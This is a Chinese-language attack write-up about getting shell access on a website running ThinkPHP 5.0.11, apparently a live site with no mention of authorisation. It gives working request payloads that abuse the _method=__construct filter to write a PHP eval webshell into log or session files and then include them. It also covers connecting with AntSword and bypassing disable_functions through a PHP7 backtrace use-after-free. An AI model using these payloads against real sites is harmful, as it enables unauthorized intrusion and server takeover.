记一次tp5的艰难getshell
起因
遇到一个站可能存在thinkphp的rce,遂进一步检测,但此过程中碰到诸多限制。通过各种折腾最终艰难地拿下,在此记录一波。
尝试
首先得到了thinkphp的版本 V5.0.11
然后搜罗了一些针对此版本的exp进行尝试,一番测试下来发现大部分方法都行不通,不过phpinfo可以得到
1 | ?s=captcha |
搜索disable_functions,果然有很多命令执行的函数都被禁止了
看了一遍发现还有一个漏网之鱼assert
函数不在disable_function中,但换用它去结合call_user_func()执行系统命令时仍然失败。
后来查阅资料得知,在php7.0之后,assert()
作为一种语言构造器,而不是一个函数。
故不满足call_user_func
的第一个参数是被调用的回调函数,无法利用。
注意,eval()
也是如此,无法作为call_user_func
的回调函数。
下面尝试使用file_put_contents
来写shell,但也行不通。后来在其他师傅文章中得知,这里的漏洞利用点只能调用单参数的函数,而这个写文件的函数至少需要两个参数。
突破
根据网上师傅们分享的文章,对tp5的代码执行现有两种思路:
写日志,包含日志getshell
1
2
3
4
5写shell进日志
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['x'])?>
包含日志文件
_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/201901/21.log&x=phpinfo();写session,包含session getshell
1
2
3
4
5写 shell 到 session 文件
_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['x'])?>&server[]=1
包含 session 文件
_method=__construct&method=get&filter[]=think\__include_file&get[]=/tmp/sess_[sessid]&server[]=1写日志,前提是需要目标开启了日志功能。
包含日志,前提需要知道日志文件的路径(tp下一般有规律)。
这次的目标碰巧开启了日志功能,那直接写入,并包含日志文件getshell
蚁剑连接,需要把POST提交的参数填入请求信息Body处
写session也一样,然后直接利用文件包含去包含session文件,tp5的session文件一般在/tmp下,文件名为sess_sessionid
蚁剑成功连接
绕过
前面辛苦拿下来webshell,但居然无法执行系统命令?!都是返回ret=127😅
之后才后知后觉,还是因为disable_functions把执行系统命令的函数给禁用了。
那怎么才能绕过这一限制呢?已经有师傅对此作了详细总结——绕过Disable Functions来搞事情
在蚁剑中也有相关插件“绕过disable_functions”
但因为putenv在黑名单中,导致很多绕过方法都无法使用,最终利用PHP7_Backtrace_UAF成功绕过。
到此,成功getshell